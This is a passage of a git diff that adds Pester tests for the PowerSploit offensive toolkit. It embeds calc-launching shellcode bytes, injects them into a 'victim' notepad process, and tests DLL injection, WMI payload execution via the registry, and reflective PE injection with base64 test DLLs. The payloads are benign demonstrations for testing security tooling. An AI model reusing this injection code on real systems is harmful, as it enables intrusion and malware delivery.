aboutsummaryrefslogtreecommitdiff
path: root/Tests
diff options
context:
space:
mode:
Diffstat (limited to 'Tests')
-rw-r--r--Tests/CodeExecution.tests.ps1362
-rw-r--r--Tests/PowerSploit.tests.ps149
-rw-r--r--Tests/Privesc.tests.ps1570
-rw-r--r--Tests/Recon.tests.ps1621
4 files changed, 1602 insertions, 0 deletions
diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1
new file mode 100644
index 0000000..2771e78
--- /dev/null
+++ b/Tests/CodeExecution.tests.ps1
@@ -0,0 +1,362 @@
+Set-StrictMode -Version Latest
+
+$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
+$ModuleManifest = "$ModuleRoot\CodeExecution\CodeExecution.psd1"
+
+Remove-Module [C]odeExecution
+Import-Module $ModuleManifest -Force -ErrorAction Stop
+
+Describe 'Invoke-Shellcode' {
+ # 32-bit calc popping shellcode
+ [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
+ 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
+ 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
+ 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
+ 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
+ 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
+ 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
+ 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
+ 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
+ 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
+ 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
+ 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
+ 0x61,0x6c,0x63,0x00)
+
+ # 64-bit calc popping shellcode
+ [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
+ 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
+ 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
+ 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
+ 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
+ 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
+ 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
+ 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
+ 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
+ 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
+ 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
+ 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
+ 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
+ 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
+ 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
+ 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
+
+ $PowerShell32bit = $False
+ $Shellcode = $Shellcode64
+
+ if ([IntPtr]::Size -eq 4) {
+ $PowerShell32bit = $True
+ $Shellcode = $Shellcode32
+ }
+
+ $64BitOS = $False
+ if ($Env:ProgramW6432) { $64BitOS = $True }
+
+ # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe
+ if ($PowerShell32bit -and $64BitOS) {
+ # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad
+ $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe"
+ } else {
+ $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe"
+ }
+
+ BeforeEach {
+ # Kill all running instances of calc.exe or Calculator.exe (i.e. "modern" calc)
+ Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } | Stop-Process -Force
+ }
+
+ It 'should pop calc without arguments' {
+ Invoke-Shellcode -Force
+
+ Start-Sleep -Seconds 2
+ }
+
+ It 'should pop calc in host process with -Shellcode arg' {
+ Invoke-Shellcode -Shellcode $Shellcode -Force
+
+ Start-Sleep -Seconds 2
+ }
+
+ It 'should pop calc in victim notepad.exe process without -Shellcode arg' {
+ $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath
+
+ if ($NotepadProc.ReturnValue -ne 0) {
+ throw 'Could not start victim process: notepad.exe'
+ }
+
+ $VictimPID = $NotepadProc.ProcessId
+
+ Invoke-Shellcode -ProcessId $VictimPID -Force
+
+ Start-Sleep -Seconds 2
+
+ Stop-Process -Id $VictimPID
+ }
+
+ It 'should pop calc in victim notepad.exe process with -Shellcode arg' {
+ $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath
+
+ if ($NotepadProc.ReturnValue -ne 0) {
+ throw 'Could not start victim process: notepad.exe'
+ }
+
+ $VictimPID = $NotepadProc.ProcessId
+
+ Invoke-Shellcode -ProcessId $VictimPID -Shellcode $Shellcode -Force
+
+ Start-Sleep -Seconds 2
+
+ Stop-Process -Id $VictimPID
+ }
+
+ AfterEach {
+ # Validate that a calc process was launched by the shellcode
+
+ $CalcProcs = Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' }
+ $CalcCount = $CalcProcs | Measure-Object
+
+ if ($CalcCount.Count -gt 0) {
+ $CalcProcs | Stop-Process -Force
+ }
+
+ $CalcCount.Count | Should BeGreaterThan 0
+ }
+}
+
+Describe 'Invoke-DllInjection' {
+ $Advpack = 'advpack.dll'
+ $AdvpackPath = "$($Env:SystemRoot)\System32\$Advpack"
+
+ It 'should inject a known system DLL' {
+ if (-not (Test-Path $AdvpackPath)) {
+ throw "$AdvpackPath does not exist on disk."
+ }
+
+ $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AdvpackPath
+ $LoadedModule | Should Not BeNullOrEmpty
+
+ $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True
+ $LoadedModule.ModuleName | Should Be $Advpack
+ }
+
+ It 'should not inject a non-existent DLL' {
+ $NonExistentDllPath = 'C:\foo.dll'
+
+ Test-Path $NonExistentDllPath | Should Be $False
+
+ { Invoke-DllInjection -ProcessID $PID -Dll $NonExistentDllPath } | Should Throw
+ }
+
+ It 'should not inject to a non-existent process' {
+ { Invoke-DllInjection -ProcessID 0 -Dll $AdvpackPath } | Should Throw
+ }
+}
+
+Describe 'Invoke-WmiCommand' {
+ $RegistryHive = 'HKEY_CURRENT_USER'
+ $KeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG'
+ $RegistryKeyPath = "HKCU:\$KeyPath"
+ $RegistryPayloadValueName = 'Seed'
+ $RegistryResultValueName = 'Value'
+ $ComputerName = 'localhost'
+ $SamplePayload = { 1+1 }
+ $SamplePayloadResult = & $SamplePayload
+ $SamplePayloadResultType = $SamplePayloadResult.GetType()
+
+ Context 'Successful code execution' {
+ BeforeEach {
+ # Ensure registry keys and values are cleaned up prior to execution
+ Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction SilentlyContinue
+ Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction SilentlyContinue
+ Remove-Item -Path $RegistryKeyPath -ErrorAction SilentlyContinue
+ }
+
+ AfterEach {
+ { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction Stop } | Should Throw
+ { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction Stop } | Should Throw
+ { Remove-Item -Path $RegistryKeyPath -ErrorAction Stop } | Should Throw
+ }
+
+ It 'should execute a sample payload locally and clean up properly' {
+ $Result = Invoke-WmiCommand -Payload $SamplePayload
+
+ $Result | Should Not BeNullOrEmpty
+ $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True
+ $Result.PayloadOutput | Should Be $SamplePayloadResult
+ $Result.PSComputerName | Should Be $ComputerName
+ }
+
+ It 'should execute a sample payload "remotely" (localhost) and clean up properly' {
+ $Result = Invoke-WmiCommand -Payload $SamplePayload -ComputerName $ComputerName
+
+ $Result | Should Not BeNullOrEmpty
+ $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True
+ $Result.PayloadOutput | Should Be $SamplePayloadResult
+ $Result.PSComputerName | Should Be $ComputerName
+ }
+
+ It 'should execute a sample payload with explicit arguments locally and clean up properly' {
+ $Result = Invoke-WmiCommand -Payload $SamplePayload -RegistryHive $RegistryHive -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName
+
+ $Result | Should Not BeNullOrEmpty
+ $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True
+ $Result.PayloadOutput | Should Be $SamplePayloadResult
+ $Result.PSComputerName | Should Be $ComputerName
+ }
+ }
+
+ Context 'Invalid arguments' {
+ It 'should not process invalid registry hives' {
+ { Invoke-WmiCommand -Payload $SamplePayload -RegistryHive 'HKEY_FOO' -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName } | Should Throw
+ }
+ }
+}
+
+Describe 'Invoke-ReflectivePEInjection' {
+ # A bare bones test harness DLL that simply returns L"Hello, world!" upon having WStringFunc called
+ # See https://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
+ $Encoded64BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAACCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
+ $Encoded32BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
+
+ # A bare bones test harness DLL that simply returns "Hello, world!" upon having StringFunc called
+ $Encoded64BitStringDll = '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